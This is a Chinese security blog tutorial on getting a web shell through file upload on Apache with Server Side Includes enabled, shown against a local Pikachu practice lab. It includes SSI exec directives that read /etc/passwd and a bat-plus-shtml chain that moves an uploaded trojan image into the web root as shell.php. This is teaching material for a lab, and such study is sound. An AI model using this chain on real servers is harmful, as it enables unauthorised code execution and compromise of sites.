Adminxe's Blog | 低调求发展 - 潜心习安全 ,技术永无止境 | 谢谢您对本站的支持,有什么问题或者建议请及时联系:点击这里给我发消息

Apache开启SSI,文件上传Getshell

渗透测试 Adminxe 303℃ 0评论

一、什么是shtml

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为“服务器端嵌入”或者叫“服务器端包含”,是一种类似于ASP的基于服务器的网页制作技术。

二、SSI指令基本格式

我这里就列举本文用到的

程序代码:
<!– 指令名称=”指令参数”>

exec
作用:将某一外部程序的输出插入到页面中
语法:
<!–#exec cmd=”文件名称”–>
参数:
cmd 常规应用程序
示例:
<!–#exec cmd=”cat /etc/passwd”–> 将会显示密码文件
<!–#exec cmd=”dir”–> 将会显示当前目录的文件夹和文件

echo
作用:将环境变量插入到页面中。
语法:
<!–#echo var=”变量名称”–>
示例:
<!–#echo var=”REMOTE_ADDR”–> 你的IP地址

具体指令和原理等传送门

三、搭建上传环境

1. 这里本地进行搭建,使用的为phpstudy

2. 搭建并使用Pikachu靶场,把源码放到网站根目录之后,访问,127.0.0.1/pk/index.php

3. 点击安装即可

四、Apache开启SSI

1. D:\phpStudy\PHPTutorial\Apache\conf,在此目录找到http.conf

2. 找到以下两个,把前面的#号去掉

AddType text/html .shtml

AddOutputFilter INCLUDES .shtml

3. 在httpd.conf文件中找到这一行:

Options +Indexes +FollowSymLinks +ExecCGI

在后面添加INCLUDES,如下面所示:

Options +Indexes +FollowSymLinks +ExecCGI +INCLUDES

/*因为我的是PHP Study所以有个+号,宝塔的话,直接去掉+号就可以了*/

4. 测试

REMOTE_ADDR:显示发出请求信息的客户端IP地址。

往1.shtml写入<!–#echo var=”REMOTE_ADDR” –>,并上传

成功执行

五、Getshell

假如该网站是可以上传除PHP外的文件,尝试绕过也不行,但是该站开启了SSI,那么就可以上传shtml、bat进行Getshell(不过这个是真的少见)

1. 因为在上传成功的时候,pikachu这里会直接显示文件上传到了哪里,所以可以省去找相对路劲的步骤。

也可以让其报错显示网站的路径,可以看到它是把上传的文件上传到uploads这个目录

2. 上传一个带有木马的jpg

3. 上传一个bat文件,内容写入移动的代码

Move D:\phpStudy\PHPTutorial\WWW\pk\vul\unsafeupload\uploads\1.jpg D:\phpStudy\PHPTutorial\WWW\shell.php

4. 上传stml文件,执行SSI指令

路径为bat所在的目录

上传成功后访问11.shtml文件即可

可以看到已经移动成功

 

访问127.0.0.1/shell.php即可

转载请注明:Adminxe's Blog » Apache开启SSI,文件上传Getshell

喜欢 (7)or分享 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址